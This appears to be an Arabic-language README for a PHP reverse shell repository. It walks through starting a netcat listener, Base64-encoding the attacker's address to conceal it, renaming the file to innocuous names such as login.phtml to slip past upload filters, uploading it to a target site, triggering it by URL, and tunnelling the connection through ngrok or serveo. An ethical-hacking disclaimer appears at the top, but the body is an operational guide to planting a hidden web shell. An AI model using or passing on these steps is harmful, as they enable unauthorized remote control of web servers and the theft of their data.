s_r_e_e_r_a_j/php-reverse-shellهذا هو شل عكسي PHP قوي ومخفي مصمم للاختراق الأخلاقي واختبار الاختراق. يقوم بإنشاء اتصال موثوق وهادئ عائد إلى جهازك.
هذه أداة ريفيرس شل بلغة PHP قوية ومتخفية، مصممة للاختراق الأخلاقي واختبار الاختراق. تنشئ اتصالاً موثوقاً وهادئاً عائداً إلى جهازك.
تم تطوير هذه الأداة PHP reverse shell لأغراض تعليمية واختبار اختراق مصرح به فقط.
المطور ليس مسؤولاً عن أي استخدام خاطئ أو ضرر أو نشاط غير قانوني يتم باستخدام هذه الأداة reverse_shell.
استخدمها بمسؤولية وفقط على أنظمة تمتلكها أو لديك إذن صريح لاختبارها. الوصول غير المصرح به غير قانوني ويعاقب عليه القانون.
.phtml لتجاوز بعض المرشحات1. ابدأ مستمعاً على جهازك
nc -lvnp 4444
2. قم بتشفير عنوان IP أو اسم المضيف الخاص بك باستخدام Base64
استخدم هذا الأمر البسيط:
echo "your_ip_or_hostname" | base64
مثال:
echo "192.168.1.5" | base64
انسخ المخرجات واستبدل قيمة $ip_b64 في سكريبت PHP reverse shell.
3. قم بتحديث سكريبت PHP reverse shell الخاص بك:
قم بتغيير هذين السطرين بعنوان IP/اسم المضيف المشفر بـ Base64 والمنفذ:
$ip_b64 = 'YOUR_BASE64_ENCODED_IP_OR_HOSTNAME';
$port = YOUR_LISTENER_PORT;
4. أعد تسمية الملف وقم برفعه
أعد تسمية الملف إلى اسم أقل شبهة، على سبيل المثال:
login.phtmlavatar.phtmlupdate.phtmlيساعد استخدام الامتداد .phtml في تشغيل الملف على بعض الخوادم التي تمنع .php.
قم برفع هذا الملف إلى موقع الهدف حيث يُسمح برفع الملفات.
5. قم بتشغيل الـ reverse shell
افتح الملف المرفوع في متصفح:
http://target.com/uploads/login.phtml
بمجرد فتحه، سيحصل المستمع الخاص بك على اتصال reverse shell.
إذا كنت تستخدم بيانات الجوال أو خلف راوتر (NAT)، فقد لا يكون عنوان IP الخاص بك عاماً. في هذه الحالة، لا يستطيع الـ reverse shell الوصول إلى جهازك مباشرة.
لإصلاح ذلك، استخدم أدوات أنفاق TCP مثل Ngrok أو Serveo.
قم بتثبيت Ngrok
شغّل هذا الأمر:
ngrok tcp 4444
سيظهر شيء مثل:
Forwarding tcp://4.tcp.ngrok.io:18900
قم بتحديث سكريبت PHP reverse shell الخاص بك:
$ip_b64 = base64_encoded of 4.tcp.ngrok.io;
$port = 18900;
ابدأ المستمع الخاص بك:
nc -lvnp 4444
شغّل هذا الأمر:
ssh -R 0:localhost:4444 serveo.net
سيقول شيئاً مثل:
Forwarding TCP connections from serveo.net:46603
قم بتحديث سكريبت PHP reverse shell الخاص بك:
$ip_b64 = base64_encoded of serveo.net;
$port = 46603;
ابدأ المستمع الخاص بك:
nc -lvnp 4444
هذا المشروع مرخص بموجب رخصة GNU General Public License v3.0